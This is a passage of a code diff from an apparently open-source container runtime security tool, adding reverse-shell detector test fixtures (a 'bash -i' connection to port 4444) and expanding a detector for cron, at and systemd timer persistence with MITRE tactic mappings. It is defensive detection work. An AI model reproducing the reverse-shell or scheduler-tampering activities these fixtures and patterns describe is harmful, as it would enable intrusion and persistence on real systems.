0, - "cwd": "/", - "binary": "/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-05-22T18:14:02.826032778Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "cri-o://9f1e6eb99ef555cc81c4b805f5e34c7270980bb48682331a8c95367b7702f6bd", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-19T17:38:40Z", - "pid": 783, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "9f1e6eb99ef555cc81c4b805f5e34c7", - "parent_exec_id": "YWtvbWlzb3YtOC04LWV4cGVyaW1lbnRzLWFrb21pc292LWdyb3VwLTE6Mjc3NDc5MDU3MTU4MDYzOjM2NjUwOTM=", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026532835, - "is_host": false - }, - "ipc": { - "inum": 4026532836, - "is_host": false - }, - "mnt": { - "inum": 4026533197, - "is_host": false - }, - "pid": { - "inum": 4026533198, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533198, - "is_host": false - }, - "net": { - "inum": 4026532837, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3665093, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "tcp_sendmsg", - "args": [ - { - "sock_arg": { - "family": "AF_INET", - "type": "SOCK_STREAM", - "protocol": "IPPROTO_TCP", - "mark": 0, - "priority": 0, - "saddr": "10.100.132.73", - "daddr": "10.0.2.142", - "sport": 39424, - "dport": 8888, - "cookie": "18384485878554729216", - "state": "TCP_ESTABLISHED" - }, - "label": "" - }, - { - "int_arg": 1174, - "label": "" - } - ], - "return": null, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "connect", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "experiments", - "time": "2024-05-22T18:26:04.098669109Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_USE/testdata/negative_wrong_func.json b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_USE/testdata/negative_wrong_func.json new file mode 100644 index 00000000..702e636c --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_USE/testdata/negative_wrong_func.json @@ -0,0 +1,32 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/bash", + "arguments": "-i" + }, + "function_name": "tcp_recvmsg", + "args": [ + { + "sock_arg": { + "daddr": "203.0.113.10", + "dport": 4444 + } + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_USE/testdata/positive_socket_send_data.json b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_USE/testdata/positive_socket_send_data.json new file mode 100644 index 00000000..81b3afd0 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_USE/testdata/positive_socket_send_data.json @@ -0,0 +1,288 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "YWtvbWlzb3YtOC04LWV4cGVyaW1lbnRzLWFrb21pc292LWdyb3VwLTE6Mjc4MjAwMzM4MjU0NjM0OjM2NzQ1ODA=", + "pid": 3674580, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/ls", + "arguments": "-la", + "flags": "execve rootcwd clone", + "start_time": "2024-05-22T18:26:04.097059929Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://9f1e6eb99ef555cc81c4b805f5e34c7270980bb48682331a8c95367b7702f6bd", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-19T17:38:40Z", + "pid": 803, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "9f1e6eb99ef555cc81c4b805f5e34c7", + "parent_exec_id": "YWtvbWlzb3YtOC04LWV4cGVyaW1lbnRzLWFrb21pc292LWdyb3VwLTE6Mjc3NDc5MDY3MjE0MzQyOjM2NjUwOTM=", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026532835, + "is_host": false + }, + "ipc": { + "inum": 4026532836, + "is_host": false + }, + "mnt": { + "inum": 4026533197, + "is_host": false + }, + "pid": { + "inum": 4026533198, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533198, + "is_host": false + }, + "net": { + "inum": 4026532837, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3674580, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "YWtvbWlzb3YtOC04LWV4cGVyaW1lbnRzLWFrb21pc292LWdyb3VwLTE6Mjc3NDc5MDY3MjE0MzQyOjM2NjUwOTM=", + "pid": 3665093, + "uid": 0, + "cwd": "/", + "binary": "/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-05-22T18:14:02.826032778Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://9f1e6eb99ef555cc81c4b805f5e34c7270980bb48682331a8c95367b7702f6bd", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-19T17:38:40Z", + "pid": 783, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "9f1e6eb99ef555cc81c4b805f5e34c7", + "parent_exec_id": "YWtvbWlzb3YtOC04LWV4cGVyaW1lbnRzLWFrb21pc292LWdyb3VwLTE6Mjc3NDc5MDU3MTU4MDYzOjM2NjUwOTM=", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026532835, + "is_host": false + }, + "ipc": { + "inum": 4026532836, + "is_host": false + }, + "mnt": { + "inum": 4026533197, + "is_host": false + }, + "pid": { + "inum": 4026533198, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533198, + "is_host": false + }, + "net": { + "inum": 4026532837, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3665093, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "function_name": "tcp_sendmsg", + "args": [ + { + "sock_arg": { + "family": "AF_INET", + "type": "SOCK_STREAM", + "protocol": "IPPROTO_TCP", + "mark": 0, + "priority": 0, + "saddr": "10.100.132.73", + "daddr": "10.0.2.142", + "sport": 39424, + "dport": 8888, + "cookie": "18384485878554729216", + "state": "TCP_ESTABLISHED" + }, + "label": "" + }, + { + "int_arg": 1174, + "label": "" + } + ], + "return": null, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "connect", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "akomisov-8-8-experiments-akomisov-group-1", + "time": "2024-05-22T18:26:04.098669109Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_REVERSE_SHELL_USE", + "severity": "HIGH", + "reason_contains": "data was sent", + "tactics": [ + "TA0001", + "TA0002" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_REV_ENG/main.go b/event-processor/detector/wasm/CS_RT_REV_ENG/main.go deleted file mode 100644 index a29d566b..00000000 --- a/event-processor/detector/wasm/CS_RT_REV_ENG/main.go +++ /dev/null @@ -1,324 +0,0 @@ -//go:build tinygo.wasm - -package main - -import ( - "context" - "strings" - - "github.com/runtime-radar/runtime-radar/event-processor/detector/api" - "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" -) - -const ( - ID = "CS_RT_REV_ENG" - Name = "Debugging and reverse engineering" - Description = "The detector detects the ptrace system calls used by special software for debugging and reverse engineering, which may indicate an attacker's activity in the target system." - Version = 1 - Author = "Runtime Radar Team" - License = "Apache License 2.0" -) - -var ( - // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions - // which will be used by Detector. If function names are not applicable for - // a particular event type, such as "PROCESS_EXEC", leave slice empty or use - // wildcard "*". - triggerCriteria = map[string][]string{ - "PROCESS_KPROBE": {"sys_ptrace"}, - - // Examples: - // - // "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, - // In order to process all possible functions leave right-hand part empty or use wildcard "*": - // "PROCESS_EXEC": {}, - // same as: - // "PROCESS_EXEC": {"*"}, - } -) - -// main is required for TinyGo to compile to Wasm. -func main() { - api.RegisterDetector(Detector{}) -} - -type Detector struct{} - -func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { - return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, - }, nil -} - -func (d Detector) TriggerCriteria(ctx context.Context, req *api.TriggerCriteriaReq) (*api.TriggerCriteriaResp, error) { - resp := &api.TriggerCriteriaResp{ - Criteria: make(map[string]*api.TriggerCriteriaResp_FuncNames, len(triggerCriteria)), - } - - for k, v := range triggerCriteria { - resp.Criteria[k] = &api.TriggerCriteriaResp_FuncNames{FuncNames: v} - } - - return resp, nil -} - -func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectResp, error) { - // Detector info added to DetectResp because detector info is always correlated to response, thus - // to avoid +1 Wasm call on detect. - resp := &api.DetectResp{ - // Default response indicates that nothing detected (this is redundant and put here just for reference, - // as Severity == api.DetectResp_NONE == 0 when omitted (default zero value)). - Severity: api.DetectResp_NONE, - } - - event := req.GetEvent().GetEvent() - - switch ev := event.(type) { - case *tetragon.GetEventsResponse_ProcessExec: - // Nothing here - case *tetragon.GetEventsResponse_ProcessExit: - // Nothing here - case *tetragon.GetEventsResponse_ProcessKprobe: - kprobe := ev.ProcessKprobe - functionName := kprobe.GetFunctionName() - - if strings.HasSuffix(functionName, "sys_ptrace") { - resp.Severity = api.DetectResp_MEDIUM // <-- threat detected - - return resp, nil - } - - case *tetragon.GetEventsResponse_ProcessTracepoint: - // Nothing here - } - - return resp, nil -} - -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "a2luZC1jb250cm9sLXBsYW5lOjQ0MDEzNTk4NTk4NzE0NDozNzQzNzc0", - "pid": 3743774, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/strace", - "arguments": "ls", - "flags": "execve rootcwd clone", - "start_time": "2023-11-16T16:39:52.483787451Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://e44de197bbd76a379eaa7863361455ac188af62ccd7b284a5c944183d9dc1d30", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:b55e2651b71408015f8068dd74e1d04404a8fa607dd2cfe284b4824c11f4d9bd", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2023-11-08T14:45:39Z", - "pid": 48403 - }, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "e44de197bbd76a379eaa7863361455a", - "parent_exec_id": "a2luZC1jb250cm9sLXBsYW5lOjQzOTM5NTM3OTkxODgxOTozNzM3NDg3", - "refcnt": 2, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ] - }, - "ns": { - "uts": { - "inum": 4026532967 - }, - "ipc": { - "inum": 4026532972 - }, - "mnt": { - "inum": 4026533013 - }, - "pid": { - "inum": 4026533014 - }, - "pid_for_children": { - "inum": 4026533014 - }, - "net": { - "inum": 4026532532 - }, - "cgroup": { - "inum": 4026532330, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3743774, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0 - } - }, - "parent": { - "exec_id": "a2luZC1jb250cm9sLXBsYW5lOjQzOTM5NTM3OTkxODgxOTozNzM3NDg3", - "pid": 3737487, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "flags": "execve rootcwd clone", - "start_time": "2023-11-16T16:27:31.877718626Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://e44de197bbd76a379eaa7863361455ac188af62ccd7b284a5c944183d9dc1d30", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:b55e2651b71408015f8068dd74e1d04404a8fa607dd2cfe284b4824c11f4d9bd", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2023-11-08T14:45:39Z", - "pid": 48324 - }, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "e44de197bbd76a379eaa7863361455a", - "parent_exec_id": "a2luZC1jb250cm9sLXBsYW5lOjQzOTM5NTM1MzY2OTg0MTozNzM3NDc3", - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ] - }, - "ns": { - "uts": { - "inum": 4026532967 - }, - "ipc": { - "inum": 4026532972 - }, - "mnt": { - "inum": 4026533013 - }, - "pid": { - "inum": 4026533014 - }, - "pid_for_children": { - "inum": 4026533014 - }, - "net": { - "inum": 4026532532 - }, - "cgroup": { - "inum": 4026532330, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3737487, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0 - } - }, - "function_name": "__x64_sys_ptrace", - "args": [ - { - "int_arg": 0 - } - ], - "action": "KPROBE_ACTION_POST", - "policy_name": "ptrace" - }, - "node_name": "kind-control-plane", - "time": "2023-11-16T16:39:52.484759149Z" -} - -*/ diff --git a/event-processor/detector/wasm/CS_RT_SCHED_TASK_MOD/main.go b/event-processor/detector/wasm/CS_RT_SCHED_TASK_MOD/main.go index 79f7003f..f1bbe3f9 100644 --- a/event-processor/detector/wasm/CS_RT_SCHED_TASK_MOD/main.go +++ b/event-processor/detector/wasm/CS_RT_SCHED_TASK_MOD/main.go @@ -14,12 +14,160 @@ import ( const ( ID = "CS_RT_SCHED_TASK_MOD" Name = "Suspicious changes in task scheduler configuration files" - Description = "The detector detects changes in configuration files of a task scheduler (for example, cron) if it was installed in a container or added by an attacker." + Description = "The detector detects changes in configuration files of a task scheduler (for example, cron), which may result in an attacker achieving persistence or planned malicious actions." Version = 1 Author = "Runtime Radar Team" License = "Apache License 2.0" ) +const ( + + // Anacron + KprobeWriteAnacronNoArgs = "Detected that the configuration file `%s` of the anacron task scheduler was edited by the `%s` process" + KprobeWriteAnacronDefault = "Detected that the configuration file `%s` of the anacron task scheduler was edited by the `%s` process, which was started using the `%s` arguments" + KprobeMmapAnacronNoArgs = "Detected that the anacron task scheduler file `%s` was memory-mapped by the `%s` process" + KprobeMmapAnacronDefault = "Detected that the anacron task scheduler file `%s` was memory-mapped by the `%s` process, which was started using the `%s` arguments" + KprobeRenameAnacronNoArgs = "Detected that the configuration file `%s` of the anacron task scheduler was replaced with the `%s` file by the `%s` process" + KprobeRenameAnacronDefault = "Detected that the configuration file `%s` of the anacron task scheduler was replaced with the `%s` file by the `%s` process, which was started using the `%s` arguments" + + // At + KprobeWriteAtNoArgs = "Detected that the configuration file `%s` of the at task scheduler was edited by the `%s` process" + KprobeWriteAtDefault = "Detected that the configuration file `%s` of the at task scheduler was edited by the `%s` process, which was started using the `%s` arguments" + KprobeMmapAtNoArgs = "Detected that the at task scheduler file `%s` was memory-mapped by the `%s` process" + KprobeMmapAtDefault = "Detected that the at task scheduler file `%s` was memory-mapped by the `%s` process, which was started using the `%s` arguments" + KprobeRenameAtNoArgs = "Detected that the configuration file `%s` of the at task scheduler was replaced with the `%s` file by the `%s` process" + KprobeRenameAtDefault = "Detected that the configuration file `%s` of the at task scheduler was replaced with the `%s` file by the `%s` process, which was started using the `%s` arguments" + + // Cron + KprobeWriteCronNoArgs = "Detected that the configuration file `%s` of the cron task scheduler was edited by the `%s` process" + KprobeWriteCronDefault = "Detected that the configuration file `%s` of the cron task scheduler was edited by the `%s` process, which was started using the `%s` arguments" + KprobeMmapCronNoArgs = "Detected that the cron task scheduler file `%s` was memory-mapped by the `%s` process" + KprobeMmapCronDefault = "Detected that the cron task scheduler file `%s` was memory-mapped by the `%s` process, which was started using the `%s` arguments" + KprobeRenameCronNoArgs = "Detected that the configuration file `%s` of the cron task scheduler was replaced with the `%s` file by the `%s` process" + KprobeRenameCronDefault = "Detected that the configuration file `%s` of the cron task scheduler was replaced with the `%s` file by the `%s` process, which was started using the `%s` arguments" + + // Systemd Timers + KprobeWriteSystemdTimersNoArgs = "Detected that the `%s` file of the systemd subsystem timer was edited by the `%s` process" + KprobeWriteSystemdTimersDefault = "Detected that the `%s` file of the systemd subsystem timer was edited by the `%s` process, which was started using the `%s` arguments" + KprobeMmapSystemdTimersNoArgs = "Detected that the `%s` file of the systemd subsystem timer was memory-mapped by the `%s` process" + KprobeMmapSystemdTimersDefault = "Detected that the `%s` file of the systemd subsystem timer was memory-mapped by the `%s` process, which was started using the `%s` arguments" + KprobeRenameSystemdTimersNoArgs = "Detected that the `%s` file of the systemd subsystem timer was replaced with the `%s` file by the `%s` process" + KprobeRenameSystemdTimersDefault = "Detected that the `%s` file of the systemd subsystem timer was replaced with the `%s` file by the `%s` process, which was started using the `%s` arguments" +) + +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1053.002", + "T1053.003", + "T1053.006", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1053.002", + "T1053.003", + "T1053.006", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1053.002", + "T1053.003", + "T1053.006", + }, + }, + } + + mitreTacticsAt = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1053.002", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1053.002", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1053.002", + }, + }, + } + + mitreTacticsCron = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1053.003", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1053.003", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1053.003", + }, + }, + } + + mitreTacticsSystemdTimers = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1053.006", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1053.006", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1053.006", + }, + }, + } + + mitreTacticsAnacron = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1053", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1053", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1053", + }, + }, + } +) + const ( // File access permissions // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L100 @@ -36,7 +184,7 @@ var ( // a particular event type, such as "PROCESS_EXEC", leave slice empty or use // wildcard "*". triggerCriteria = map[string][]string{ - "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, + "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate", "security_path_rename"}, // Examples: // @@ -48,31 +196,46 @@ var ( } ) +type schedulerFile struct { + pattern glob.Glob + scheduler string +} + var ( - schedulerFiles = []glob.Glob{ - glob.MustCompile("/etc/crontab"), // system task scheduler - glob.MustCompile("/etc/anacrontab"), // system task scheduler - glob.MustCompile("/etc/cron.d/*"), // system task scheduler - glob.MustCompile("/etc/cron.hourly/*"), // tasks with predefined hourly interval - glob.MustCompile("/etc/cron.daily/*"), // tasks with predefined daily interval - glob.MustCompile("/etc/cron.weekly/*"), // tasks with predefined weekly interval - glob.MustCompile("/etc/cron.monthly/*"), // tasks with predefined monthly interval - glob.MustCompile("/var/spool/cron/*"), // user task scheduler - glob.MustCompile("/var/spool/anacron/*"), // user task scheduler - glob.MustCompile("/etc/cron.deny"), // user access list for scheduler - glob.MustCompile("/etc/cron.allow"), // user access list for scheduler - glob.MustCompile("/var/spool/at/*"), // user task scheduler - glob.MustCompile("/etc/at.deny"), // user access list for scheduler - glob.MustCompile("/etc/at.allow"), // user access list for scheduler - glob.MustCompile("/etc/systemd/system/*.timer"), // systemd task scheduler - glob.MustCompile("/usr/local/lib/systemd/system/*.timer"), // systemd task scheduler - glob.MustCompile("/lib/systemd/system/*.timer"), // systemd task scheduler - glob.MustCompile("/usr/lib/systemd/system/*.timer"), // systemd task scheduler + schedulerFiles = []schedulerFile{ + // system task scheduler + {pattern: glob.MustCompile("/etc/crontab"), scheduler: "Cron"}, + {pattern: glob.MustCompile("/etc/anacrontab"), scheduler: "Anacron"}, + {pattern: glob.MustCompile("/etc/cron.d/*"), scheduler: "Cron"}, + // tasks with predefined hourly interval + {pattern: glob.MustCompile("/etc/cron.hourly/*"), scheduler: "Cron"}, + // tasks with predefined daily interval + {pattern: glob.MustCompile("/etc/cron.daily/*"), scheduler: "Cron"}, + // tasks with predefined weekly interval + {pattern: glob.MustCompile("/etc/cron.weekly/*"), scheduler: "Cron"}, + // tasks with predefined monthly interval + {pattern: glob.MustCompile("/etc/cron.monthly/*"), scheduler: "Cron"}, + // user task scheduler + {pattern: glob.MustCompile("/var/spool/cron/*"), scheduler: "Cron"}, + {pattern: glob.MustCompile("/var/spool/anacron/*"), scheduler: "Anacron"}, + // user access list for scheduler + {pattern: glob.MustCompile("/etc/cron.deny"), scheduler: "Cron"}, + {pattern: glob.MustCompile("/etc/cron.allow"), scheduler: "Cron"}, + // user task scheduler + {pattern: glob.MustCompile("/var/spool/at/*"), scheduler: "At"}, + // user access list for scheduler + {pattern: glob.MustCompile("/etc/at.deny"), scheduler: "At"}, + {pattern: glob.MustCompile("/etc/at.allow"), scheduler: "At"}, + // systemd task scheduler + {pattern: glob.MustCompile("/etc/systemd/system/*.timer"), scheduler: "SystemdTimers"}, + {pattern: glob.MustCompile("/usr/local/lib/systemd/system/*.timer"), scheduler: "SystemdTimers"}, + {pattern: glob.MustCompile("/lib/systemd/system/*.timer"), scheduler: "SystemdTimers"}, + {pattern: glob.MustCompile("/usr/lib/systemd/system/*.timer"), scheduler: "SystemdTimers"}, } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -80,12 +243,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -119,9 +283,13 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() path := "" + newFile := "" + action := "" switch function { // trigger when security function check for file write access @@ -133,6 +301,7 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + action = "write" path = args[0].GetFileArg().GetPath() // trigger when security function check for memory page write access @@ -144,6 +313,7 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + action = "mmap" path = args[0].GetFileArg().GetPath() // trigger when security function check if truncating a file is allowed @@ -153,14 +323,88 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return nil, fmt.Errorf("unexpected args len, got %d, want >= 1", len(args)) } + action = "write" path = args[0].GetPathArg().GetPath() + // Trigger when security function check if renaming a file is allowed. + // https://elixir.bootlin.com/linux/v6.15.7/source/security/security.c#L2005 + case "security_path_rename": + if len(args) < 2 { + return nil, fmt.Errorf("unexpected args len, got %d, want >= 2", len(args)) + } + + action = "rename" + path = args[1].GetPathArg().GetPath() + newFile = args[0].GetPathArg().GetPath() + default: return resp, nil } for _, file := range schedulerFiles { - if file.Match(path) { + if file.pattern.Match(path) { + switch { + case file.scheduler == "Anacron": + resp.TacticsCovered = mitreTacticsAnacron + case file.scheduler == "At": + resp.TacticsCovered = mitreTacticsAt + case file.scheduler == "Cron": + resp.TacticsCovered = mitreTacticsCron + case file.scheduler == "SystemdTimers": + resp.TacticsCovered = mitreTacticsSystemdTimers + default: + resp.TacticsCovered = mitreTactics + } + switch { + case (file.scheduler == "Anacron") && (action == "write") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeWriteAnacronNoArgs, path, binary) + case (file.scheduler == "Anacron") && (action == "write") && (binaryArgs != ""): + 